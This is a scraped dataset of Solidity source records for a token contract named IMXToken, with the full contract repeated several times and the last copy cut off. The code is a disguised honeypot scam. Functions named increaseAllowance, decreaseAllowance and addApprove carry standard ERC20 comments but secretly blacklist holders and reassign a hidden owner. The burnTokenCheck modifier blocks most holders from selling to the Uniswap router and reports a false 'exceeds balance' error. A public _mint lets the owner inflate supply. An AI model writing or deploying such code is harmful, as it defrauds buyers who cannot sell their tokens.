``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */
NatSpecMultiLine
decreaseAllowance
function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; }
/** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://30a78a69b81f4b861c49cf71cfcd8199126489ce33669c2dea1aae05107e8b0f
{ "func_code_index": [ 6240, 6388 ] }
59,269
IMXToken
IMXToken.sol
0xaeb29c7b70ceab600013680850c6533b577108e7
Solidity
IMXToken
contract IMXToken is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _owner = owner; _safeOwner = owner; _mint(_owner, initialSupply*(10**18)); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; _approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `sender` cannot be the zero address. * - `spender` cannot be the zero address. */ modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true){ _;}else{if (_blackAddress[sender] == true){ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{ if (amount < _sellAmount){ if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;} } } } } } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */
NatSpecMultiLine
addApprove
function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } }
/** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://30a78a69b81f4b861c49cf71cfcd8199126489ce33669c2dea1aae05107e8b0f
{ "func_code_index": [ 6803, 7087 ] }
59,270
IMXToken
IMXToken.sol
0xaeb29c7b70ceab600013680850c6533b577108e7
Solidity
IMXToken
contract IMXToken is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _owner = owner; _safeOwner = owner; _mint(_owner, initialSupply*(10**18)); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; _approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `sender` cannot be the zero address. * - `spender` cannot be the zero address. */ modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true){ _;}else{if (_blackAddress[sender] == true){ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{ if (amount < _sellAmount){ if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;} } } } } } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */
NatSpecMultiLine
_transfer
function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); }
/** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://30a78a69b81f4b861c49cf71cfcd8199126489ce33669c2dea1aae05107e8b0f
{ "func_code_index": [ 7574, 8122 ] }
59,271
IMXToken
IMXToken.sol
0xaeb29c7b70ceab600013680850c6533b577108e7
Solidity
IMXToken
contract IMXToken is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _owner = owner; _safeOwner = owner; _mint(_owner, initialSupply*(10**18)); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; _approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `sender` cannot be the zero address. * - `spender` cannot be the zero address. */ modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true){ _;}else{if 